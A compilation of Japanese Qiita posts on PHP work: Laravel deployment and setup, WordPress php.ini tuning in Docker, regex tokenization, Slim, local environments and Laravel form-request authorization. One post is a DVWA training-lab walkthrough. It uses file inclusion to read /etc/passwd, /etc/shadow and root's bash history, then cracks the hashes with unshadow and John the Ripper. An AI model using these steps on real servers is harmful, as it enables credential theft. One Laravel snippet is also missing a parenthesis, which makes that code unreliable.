次にDB接続を手軽に試すためチュートリアルにあるようindex.phpを修正します。
// DB Connection Testのところから3行分です。

eb-laravel/public/index.php
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

// DB Connection Test
if(DB::connection()->getDatabaseName()){
        echo "Connected to database ".DB::connection()->getDatabaseName();
}

$response->send();

$kernel->terminate($request, $response);

修正したらElastic Beanstalk用にソースをZIPに固めます。

[ec2-user@ip-172-31-29-127 eb-laravel]$ zip ~/laravel-v1-1.zip -r * .[^.]* -x "vendor/*"

これをTeraTermならSSH SCPなどで取得します。

Elastic BeanstalkのLaravel向け環境設定

Laravelはご存じの通りdocument_rootはpublic配下です。
これをElastic Beanstalkにも定義します。

ダッシュボードの設定からソフトウェアの[変更]ボタンをクリックし
TOPにあるドキュメントのルートを/publicに変更し保存します。

20.png

保存するとElastic Beanstalkが環境変更の取り込みを行うのでしばし待ちます。
16.png

これでElastic Beanstalk側の準備が整ったので、[アップロードとデプロイ]ボタンより
先ほどZIP化したソースをアップロードしデプロイします。
14.png

21.png

しばし処理が走ったのちにURLにアクセスすると御覧の通り
Laravelの初期Home画面と左上に仕込んだDBConnectionのサンプルコードの実行結果が表示されます。

22.png

最後に

あくまで実行環境ですので、artisan migrateなどは他のEC2インスタンスから実行した後にこちらにリリースするイメージでしょうか

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Windows10にXAMPPを利用してLaravel環境を作成する

  1. XAMPPをインストール
    https://www.apachefriends.org/jp/index.html
    インストール後、Apacheサーバを起動。

  2. PHPのパスを通す
    コントロールパネル > システム > システムの詳細設定 > [環境変数] を開き(デスクトップの検索から「環境」を入力してもOK)、「Path」 > [編集] > [新規]でXAMMPをインストールしたフォルダの中にある「PHP」フォルダを追加。
    例: C:\xampp\php

  3. コマンドプロンプトでPHPのバージョンを確認

    > php -v
    

    で表示される情報がPHP 7以上であることを確認。

  4. Composerのインストーラーをダウンロード
    https://getcomposer.org/
    からComposer-Setup.exeをダウンロードして実行。
    インストール先は自動で見つけて来てくれるようだが、見つけてくれない場合には自分がインストールしたXAMPPのPHPフォルダを指定(例:C:\xampp\php)。

  5. コマンドプロンプトからComposerの確認
    コマンドプロンプトを立ち上げ直し、以下コマンドを実行した際にComposerの情報が表示されるかを確認

    > composer
    
  6. htdocsフォルダまで移動

    > cd C:\xampp\htdocs
    

    の実行などで、XAMPPのhtdocsフォルダまで移動。

  7. 以下コマンドの実行でLaravel5.5.*を「csm」という名前のディレクトリに設置

    > composer create-project laravel/laravel cms --prefer-dist "5.5.*"
    

    ※PCの能力や回線速度によって完了するまでの時間は異なります(5分~10分程度)

  8. 以下のようにset successfully.が最後に表示されたら完了
    Application key [base64:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx+w/Fo5y/C5Fy+Q=] set successfully.

  9. WebブラウザからLaravelの動作を確認
    URLとしてhttp://localhost/cms/public/ (自分が指定した名前やサーバにより異なります)等を指定し、Laravelの画面が表示されることを確認。
    laravel.png

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

docker-compose for wordpress と php.ini の設定

はじめに

Mac local に Wordpress の動作環境を作る必要があったのでどの方法が良いか検討したところ、docker-compose でやるのが一番手っ取り早いと思った。

docker-compose.yml の sample がdocker のドキュメント に載っていたので、ほぼほぼそのまま使わせていただくことにした。

が、起動してみると、テーマのアップロードができなかった。原因を調べたところ、php.ini の設定項目追加が必要だった。次回以降のためにメモ。

作業ログ

docker-compose.yml sample

まずは(ほぼほぼ)サンプルのまま起動してみる

version: '3.3'

services:
   db:
     image: mysql:5.7
     volumes:
       - db_data:/var/lib/mysql
     restart: always
     environment:
       MYSQL_ROOT_PASSWORD: wordpress
       MYSQL_DATABASE: wordpress
       MYSQL_USER: wordpress
       MYSQL_PASSWORD: wordpress

   wordpress:
     depends_on:
       - db
     image: wordpress:5.3.2-php7.2-apache
     ports:
       - "8000:80"
     restart: always
     environment:
       WORDPRESS_DB_HOST: db:3306
       WORDPRESS_DB_USER: wordpress
       WORDPRESS_DB_PASSWORD: wordpress
       WORDPRESS_DB_NAME: wordpress
volumes:
    db_data: {}

docker-compose up して

$ docker-compose up -d
Creating network "wordpress_default" with the default driver
Creating volume "wordpress_db_data" with default driver
Creating wordpress_db_1 ... done
Creating wordpress_wordpress_1 ... done

ブラウザでアクセス

http://localhost:8000/

とりあえずログインまでは問題なし

Screen Shot 2020-02-20 at 14.53.41.png

テーマをアップロードしてみる

Screen Shot 2020-02-20 at 14.55.12.png

The link you followed has expired.

が、エラー

Screen Shot 2020-02-20 at 14.55.21.png

エラーメッセージは以下

  • The link you followed has expired.
  • 辿ったリンクは期限が切れています。

このエラーは php.ini に以下の設定を入れることで解消できた

設定の入った Docker image を使いたいので build する

Dockerfile ①

FROM wordpress:5.3.2-php7.2-apache

# set recommended PHP.ini settings
RUN { \
  echo 'max_execution_time=-1'; \
  echo 'memory_limit=-1'; \
  echo 'post_max_size=-1'; \
} > /usr/local/etc/php/conf.d/wp-recommended.ini

build

$ docker build -t my_wordpress:1 .

docker-compose.yml を修正して再トライ

$ docker-compose down && docker-compose up -d

どうかな?

残念ながらまたエラー

Screen Shot 2020-02-20 at 15.36.40.png

The uploaded file exceeds the upload_max_filesize directive in php.ini.

エラーメッセージは以下

  • The uploaded file exceeds the upload_max_filesize directive in php.ini.
  • アップロードしたファイルは php.ini で定義された upload_max_filesize を超過しています。

これはありがちなやつか

upload_max_filesize を追加

Dockerfile ②

FROM wordpress:5.3.2-php7.2-apache

# set recommended PHP.ini settings
RUN { \
  echo 'max_execution_time=-1'; \
  echo 'memory_limit=-1'; \
  echo 'post_max_size=-1'; \
  echo 'upload_max_filesize=100M'; \
} > /usr/local/etc/php/conf.d/wp-recommended.ini

build

$ docker build -t my_wordpress:2 .

今度はどうか

いけた!

Screen Shot 2020-02-20 at 15.41.48.png

おわり

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PHPで分かち書きをする意識低い方法

タグの自動生成をしようという事で分かち書きが必要になりましたが、Yahoo!のAPIはちょっと面倒くさいし、TinySegmenterというライブラリは長いことメンテナンスされてないなと思案して、見つけたのが正規表現を使うというもの。

<?php
$str="吾輩は猫である。名前はまだない。どこで生れたか頓と見当がつかぬ。";
//正規表現でメモを分割する
preg_match_all('/[一-龠]+|[ぁ-ん]+|[ァ-ヴー]+|[a-zA-Z0-9]+|[a-zA-Z0-9]+/u', $str, $matches);
$match_result = $matches[0];

print_r($match_result); // マッチ結果が全出力

?>

で結果は

Array ( [0] => 吾輩 [1] =>  [2] =>  [3] => である [4] => 名前 [5] => はまだない [6] => どこで [7] =>  [8] => れたか [9] =>  [10] =>  [11] => 見当 [12] => がつかぬ )

おお、確かにそれっぽい。ただし「ドラえもん」「海の日」のような漢字カナ交じりの単語には対応していないのでちょっと改良してみます。

<?php
$str="今日は海の日。夏だ一番ドラえもん祭り";
//正規表現でメモを分割する
preg_match_all('/[一-龠]+|[ぁ-ん]+|[ァ-ヴー]+|[a-zA-Z0-9]+|[a-zA-Z0-9]+/u', $str, $matches);
$match_result = $matches[0];

//2つの配列の結合
$tmp_res1 = array();
if(count($match_result) > 1){
    for ($i = 0 ; $i < (count($match_result) - 1); $i++){
        $tmp_res1[] = $match_result[$i] . $match_result[$i + 1];
    }
}

//3つの配列の結合
$tmp_res2 = array();
if(count($match_result) > 2){
    for ($i = 0 ; $i < (count($match_result) - 2); $i++){
        $tmp_res2[] = $match_result[$i] . $match_result[$i + 1] . $match_result[$i + 2];
    }
}

$match_result = array_merge($match_result, $tmp_res1, $tmp_res2);


print_r($match_result); // マッチ結果が全出力

?>
Array ( [0] => 今日 [1] => は [2] => 海 [3] => の [4] => 日 [5] => 夏 [6] => だ [7] => 一番 [8] => ドラ [9] => えもん [10] => 祭 [11] => り [12] => 今日は [13] => は海 [14] => 海の [15] => の日 [16] => 日夏 [17] => 夏だ [18] => だ一番 [19] => 一番ドラ [20] => ドラえもん [21] => えもん祭 [22] => 祭り [23] => 今日は海 [24] => は海の [25] => 海の日 [26] => の日夏 [27] => 日夏だ [28] => 夏だ一番 [29] => だ一番ドラ [30] => 一番ドラえもん [31] => ドラえもん祭 [32] => えもん祭り )

タグの自動挿入なら配列をforeachで回して既出のワードなら挿入させるというやり方にすれば結構、良い線行くんじゃないですかな。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

DVWAでfile inclusion

前提

目標

  • file-inclusionでパスワードを奪取する

手順概要

  • パスワード管理ファイルにアクセスする

内容

file inclusionとは

  • urlのクエリを用いてサーバー内にあるファイルにアクセスすること。
  • urlのクエリ=fileパスと同じ意味になるので、クエリを操作することで意図しないファイルにアクセスできる。

前準備

  • DVWAにログインする
  • セキュリティレベルを下げる。
    • メニュー下にあるDVWA securityへアクセス
    • デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

image.png

  • file inclusionにアクセスする(左メニューにある)

image.png

file inclusion開始

image.png

  • いろんなファイルにアクセスする(適時階層は調整するtry&err)
    • ../../phpinfo.php

image.png

- /etc/passwd
- /etc/issue
- /proc/version
- /etc/shadow(x)
- /root/.bash_history
- /var/log/dmessage(x)
- /var/mail/root(x)
- /var/spool/cron/crontabs/root(x)
  • パスワードを奪取する

    • パスワードが管理されているのは/etc/passwdと/etc/shadow
    • /etc/passwd(下図)
    • /etc/shadow(取得できず) image.png
  • 本来であれば上のデータをもとにパスワードを解析する

  • 仕方ないのでデータ取れた前提で解析する

    • passwdとshadowファイルを連結し、johnさんに投げる。
    • 以下shellを実行すると(id/pw)=root/rootであることが分かった。
    • 現在kali linuxがサーバーみたいなものなので、kali linuxのログイン認証情報を獲得できた。(johnで解析できるように強度の低いパスワードに再設定して解析した。強度が高いと失敗する)
# passwd+shadowファイルを連結する
root@kali:~# unshadow /etc/passwd /etc/shadow > hash.txt
# 解析開始
root@kali:~# john hash.txt 
Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
root             (root)
Warning: Only 1 candidate buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 2 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:30 19.38% 2/3 (ETA: 00:18:42) 0.03322g/s 1039p/s 1039c/s 1039C/s mailer2..bandit!
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

おわり

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

python推しがslimフレームワークについて学んでみる。

参考サイト

https://qiita.com/nunulk/items/4b5c15f13ade660cafbc

環境

ubntu18.04
PHP 7.2.24

経緯

前に一度cakePHPについて触れる機会があり、アイコンヘッダ/メッセージフッタとボタン数個の画面のためにこんな大掛かりなアーキテクチャを理解しなければいけないのか・・とため息をついた記憶があります。

そしたらslim実装のwebアプリが発注先から納品されたりしたので、slimについて学びたいと思った次第。
世間ではマイクロフレームワークと呼ぶらしい。軽量フレームワークとか、この手のキーワードを聞くとこれこそ私の求めていたものではないかと心揺さぶられる。

少し眺めてなんだかpythonのFlaskに似てるなぁと思ったら、Flaskもマイクロフレームワークに位置づけされるっぽい。

導入

マイクロというからには導入も楽なはずと期待。

php入ってる?

(base) websoler@websoler-H110M-S03:~$ php -v
PHP 7.2.24-0ubuntu0.18.04.3 (cli) (built: Feb 11 2020 15:55:52) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.24-0ubuntu0.18.04.3, Copyright (c) 1999-2018, by Zend Technologies

ver7が入ってた。最初っからubuntu18.04に入ってたかも。
標準ライブラリですね、さすがに。

composer必要

pythonにおけるpipのようなもので、phpのモジュールインストールを依存関係を自動解決してやってくれるらしい。

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php composer-setup.php
rm composer-setup.php
sudo mv composer.phar /usr/local/bin/composer

公式サイトの通りのはず。公式サイトからインストーラをDLして実行。

slimインストール

composer create-project slim/slim-skeleton slim_server_app

インストールというか、プロジェクトを作ってその下にフレームワーク構築って感じ。
非Web文化圏ではインストールとは呼ばない初見だけど、そういえばWeb界隈ではローカルフォルダに依存関係を集める文化があった気がする。そしてローカルフォルダごと、対象システムへ放り込む(デプロイする)だったと思うので、これはインストールなんだな。

フレームワーク内にスケルトンが用意されてるので、それを元に自分プロジェクト生成。この下に依存ライブラリを含めたslimフレームワークが展開されているはず。

駆動させよう!

cd slim_server_app
php -S localhost:9000 -t public ./public/index.php

phpの組み込みサーバを起動してます。ルートページはslimフレームワーク内のアプリ(index.php)。

ブラウザでlocalhost:9000と打つと、
範囲を選択_008.png
なんと、ハローワールドだ。

slim内部解析(チョコッと)

フレームワークエンジンの内部フローはあまり追いかけたくないが、
ロードされる./public/index.phpの中をのぞいて抜粋。

$app = AppFactory::create();  <== Webアプリのガラを作り、

$routes = require __DIR__ . '/../app/routes.php';
$routes($app);  <== Webアプリ本体をWebアプリのガラにジョイントし、
$response = $app->handle($request);   <== Webアプリを走らせる。

Webアプリとはつまるところ、URLアクセスに対するハンドラの集合である。
Webアプリの実行とはすなわち、ハンドリングの開始である。(上記handle関数)

ハンドリングとはすなわち、Web界隈ではルーティングと呼んでいるものであり、
url='xxx'に対して、yyを実行する、というルート処理である。
routes.phpにルート処理をぎっしり詰め込んでおいて、ハンドリング処理により必要なルートが叩かれる。

アプリ本体

本体は ./app/routes.php。
このファイルがやってるのはひとつだけ。アプリを定義して、そのインスタンスを返す。

アプリの定義、ここではすなわち、コールバックの定義。
アプリコンポーネント(App)と便宜上呼ぶが、アプリ機能を詰め込んだslimフレームワークコンポーネントがあり、この機能を使って、HTTPリクエストに応じたビジネスロジックを定義する、それがコールバックの実体である。

以下のように、コールバック関数(無名関数)を定義してreturn。
引数で渡されるAppクラスがアプリコンポーネント。

return function (App $app) {...
});

関数内の処理は前述したとおり、ルート処理が詰め込まれている。

$app->get('/', function (Request $request, Response $response) {
   $response->getBody()->write('Hello world!');
   return $response;
});

アプリコアのgetメソッドは文字通り、GETリクエストをさばく。
この場合、ルート'/'に対するハンドラが定義されており、ハンドラ内では
戻り値のボディ(いわゆるHTMLのbodyタグかな)に、Hello worldと出力するよう指示。

スリムなのか?

サーバアプリとしてローカル環境にサクッと構築できるのはスリムなのかもですが、
あくまでCakePHPのような大規模フルスタックに比べて機能を削っているという
意味であって、Webアプリの実装としてはあまりスリム感が・・

Flaskとの比較

slimのwebフレームワークとしての理屈はわかるんですが、マイクロフレームワークであっても、フレームワークとの接点が露出しているのがちょっと重い。
Flaskなら同じ事を以下で実現します。

pip install Flaskとした後に、

from flask import Flask
app = Flask(__name__)

@app.route("/")
def hello():
    return "Hello World!"

if __name__ == '__main__':
    app.run(port=9000)

上記の1ファイルを運用するだけです。

もちろんFlaskはpythonシステムライブラリ群にインストールされており、webフレームワークとは文化が異なるんですが、サーバサイドだし、定点サーバにポンと入れて運用するだけなら、python1ファイルだけ運用すればよいのでFlaskのほうが(フレームワークが完全に隠蔽されているので)とっつきやすい気はします。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

最強のローカルPHP環境制作に向けて

最強の環境を作りたい。

最強の環境を作るために試したこと、気になるもの全てまとめます。

試したことについては良かったとこ悪かったとこ交えながら話します。

試して欲しいことやこうしたらいいよというものがあればコメントお願いします。

まず、目標です。

目標

・とりあえず軽い、早い。
・Xdebugが動く。
・各種settingをいじれる。
・BaserCMS(CakePHP)が動く。
・環境構築が素早くできる。

今まで試したこと

その1 macデフォルト

「デフォルトこそ至高」

でももちろん他の人と環境を共有することの難しさ、ローカルのファイルの散らばり具合がとんでもないですね。
実は最初からほとんどMAMPを使っていたので触れたのは少しです。

その2 MAMP

「原点にして頂点」

installさえしてしまえば条件はほとんど満たせます。
使った期間は一番多いかもしれません。
installさえしまえばですね。MAMPって1G以上あるのでダウンロードする時間がとんでもないんですよね。

その3 Docker for Mac

「環境構築はコマンド一つで」

環境構築といえばDockerですかね。
ローカルのマシンを汚さずに済み、チームと共有するのはファイル一つ、コマンド一つで環境を作れます。
ただDockerはもともとlinuxの技術で作られているため(詳しくは知らないんでごまかしてます)macと少し相性が悪く、
ファイルのioがくそ遅いんですよ。
ロードに時間がかかってほんと辛いです。

その4 Docker-sync

「自動で更新されないなら更新させればいいじゃない」

開発者がgithubで毒舌であることで話題のDocker-sync。
issueで普通に「issue投げる前にgoogle使おうね」とかいって?めっちゃくらってますw
Docker-syncはvolumeの共有を
mac<->webコンテナ
ではなく
mac<->syncコンテナ<->webコンテナ
としてsyncコンテナに監視させることでwebコンテナからのioを早くしましょうよ。というものです。
こいつにはとてもお世話になったんですが、欠点としてまずコンテナが一つ多く立つことによりメモリが消費されます。
低スペックには辛いものです。。。。

その5 Docker on Vagrant VM

「Docker用のosがあるらしい」

Docker-sync飽きてきたなーとか思ってた時に出てきた新規ワードでした。
もともとVagrant自体は触ったことあったのですが、その時はWindows上にUbuntuを起動するまでで終わってました。
最近になって、Vagrantで使えるlinuxのディストリビューションの中に「Barge」という、Dockerを構築するためだけの
osがあったんです。
installしてみるとdockerは使えるのにvimすら入ってない。
これは軽いだろと思い構築しました、この辺からとにかく軽い物を目指し始めました。
ただ、vagrant上のdockerって、xdebug起動するととにかく遅いんですよ。
そりゃそうですね、
docker<->ホストより
docker<->vagrantVM<->ホスト
の方が明らかに遅いですよね。
ここはめっちゃ悩んでます。

その6 dockerのimageをalpineで作り替える

「余計な物は必要ない」

docker for macを使い始めた時、公式のイメージをいじって環境を作っていたのですが、公式のイメージはdebianベースで作られています。
debianもサーバー用のディストリビューションで、なかなか軽量のものになっているのですが、linuxにはさらに軽量なalpineというものがあります。
alpineのいいところはもうとにかく軽い。ディスクイメージは5MBです!さらに必要なphpの要素は大体パッケージ化されてあるので、わざわざxdebug等をmakeする必要がないんです。結果ビルドがくっそ早い。
そして同じような構成で公式から作ったイメージは600MBくらいあるのですが、できたのは220MB。ヤバイ。
さらにopcacheも入れちゃって。opcacheをdebianに入れて試してないので比較はしてませんが、ここまですると流石に動作は早くなりました。
ただxdebugがおっそい!!!

まだやったことなくて期待してるもの

今のところ私が試したものは上に書いた通りです。いかに気になってはいるもののまだ実行に写せてないものを上げていきます。

その7 lamp in one container

「コンテナ分ける必要なくないか?」

環境を新しくする上で、ネットでいろんな物を探したところ、ある物を見つけました。
lampのDockerfileです。ふつう、コンテナというものは1コンテナ1サービスということで、データベースとwebのコンテナは分ける物です。
でも待てよ。。。LAMPを1サービスとして捉えればこれは1コンテナに収まる物では・・・??
利点としてはデータベースを指定する時にわざわざホスト名をmysqlとかにしなくてそのままlocalhostでできたりとかですかね。
他には単純にコンテナ数が減るのでマシンのリソース使わずに済むのでは?とか考えてまだやってません。

その8 docker in docker

「dockerコンテナ内でdockerコンテナ、建てれます。」

これは聞いたことあるだけで全く知らないので調べました。
するとどうやらテストとかのために使用したいみたいな感じなんですね。
dockerコンテナ上でjenkins等のテスト環境を構築する際に使用したかったりするからだそうです。
例えばその4のパターン(docker on vagrantVM)だとVM上のデーモンを参照するため、ローカルマシンからdocker psできません。たまにコンテナの中に入って処理したい場合(適当なPHPのスクリプト動かしたい時とか)にわざわざvagrant sshした後にdocker exec -it web bashってするのめんどいです。
docker in dockerには二つ種類があって、その中にmacのdockerデーモンを利用する物があります。
それだとコンテナ入りやすくなったりxdebug早く動くんじゃねえかな?後volumeどうなるんだろ、、、って感じですね。

その9 docker for mac + mutegan

https://qiita.com/yuki_ycino/items/cb21cf91a39ddd61f484」

すみません。全くの初見の言葉だったので代名詞はリンクそのまま貼らせてもらいましたw
私はあまり感じたことはなかったのですが、現状のVMのファイルマウントでも少し遅いようです。
記事内ではvagrantのVM上にこれを使うことで「ネイティブと同じ速度」を感じられているようです。
でもdocker-syncを使っていた私からするとまた同じような物か、と考えてしまいました。
結局ローカルのマシンに別のソフトをinstallすることになり、dockerの思想から離れたものになるかと思います。
これについては暇な時にやりますね。

その10 Vagrant + Chef

「サーバー構築はレシピで自動化」

Chefとは料理長のことですね。サーバーの設定一覧をcookbookと言うらしいです。fuelPHPみたいに出てくる単語が統一されているものはとても好きです。cakePHPのbake的な。
要はvagrantでローカル環境は汚さなくなってるのだからわざわざdockerを使う必要はないのでは?ということです。結構昔の技術らしいですね。
私の考えではdockerが重いのならわざわざ使う必要ないし、コマンド一つ(vagrant up)でいけてくれるなら別にいいというのと、デフォルトの興味があるのでやってみたさはありますね、チューニング死骸もありそうですし。
vagrantfile一つ配っとけばあとは勝手に設定してくれるのなら最高なのでは?
問題はxdebugの速度ですね。今一番の悩みです。

今のところのまとめ

現状では上記のように、まだ未調査の技術はあるという感じですね。
他にもxdebugのチューニング等やりたいことはあります。
気になっている順番としては
1 lamp in one container
2 docker in docker
3 vagrant + chef
ってとこですかね。
最強のローカル環境目指して今後も頑張りたいと思いますのでよろしくお願いします。
何かいい案があればコメントお願いしたいです!
それでは。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Laravel フォームリクエストのauthorize()を活用してみる

よくよく考えれば当り前なんだけど、解説されてなくて気づけなかった...

フォームリクエストとは?

バリデーション 5.8 Laravelのフォームリクエストバリデーションセクションに説明があります。
HTTPリクエストをバリデーションしたりできるものです。

フォームリクエストクラスのできること

Requestクラスで使えるメソッドがすべて使える

$this->input('hoge');

// /posts/{post} とかになってるURLの{post}の部分にアクセス
$this->post;

Requestを継承しているのでもちろん使えるんですよね(自戒)
{post}にあたる部分の名前に自信がない場合はphp artisan route:listで確認できます。

authorize()のできること

bool型で認証の可否を判断

trueを返せば認証が成功したとして、処理を継続する。
falseを返せば認証に問題があるとして、403を返す。

DIされられる

public function authorize(HogeRepository $repository){
    $repository->fuga();
    // ...
    return $bool;
}

クラスをDIして、それを使ったオレオレ認証処理を作れる。

組み合わせる

こんなテーブルがあるとする

カラム名 役割
id 主キー
message メッセージ
edit_key ハッシュ化された編集キー

フォームでメッセージと編集キーを入力すると、データベースにそれが保存され、それを消したり、編集したりしたくば編集キーを使って認証をするという感じ。
URLは/messages/{message}として、HTTPリクエストヘッダに編集キーを付け、PUTリクエストでアクセスされたものと想定。

authorize()メソッドで認証

public function authorize(){
   $model = Message::findOrFail($this->message);
   return Hash::check($this->header('edit-key', $model->edit_key);
}

$this->messageにはレコードのIDを含ませる。
そこからレコードを取得し、保存していたハッシュ化された編集キーと送信された生の編集キーをHash::check()で照合する。
Hash::check()は2値が同じものであればtrueを、異なるものであればfalseを返すので、これに認証の可否を任せています。

もっと複雑な認証ロジックを実装する場合は、それを他のクラスへ切り出し、authorize()へDIしてやればスッキリさを維持しつつ、理想的な処理を行えると思います。


Laravelはとても便利だ... ありがたや...

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む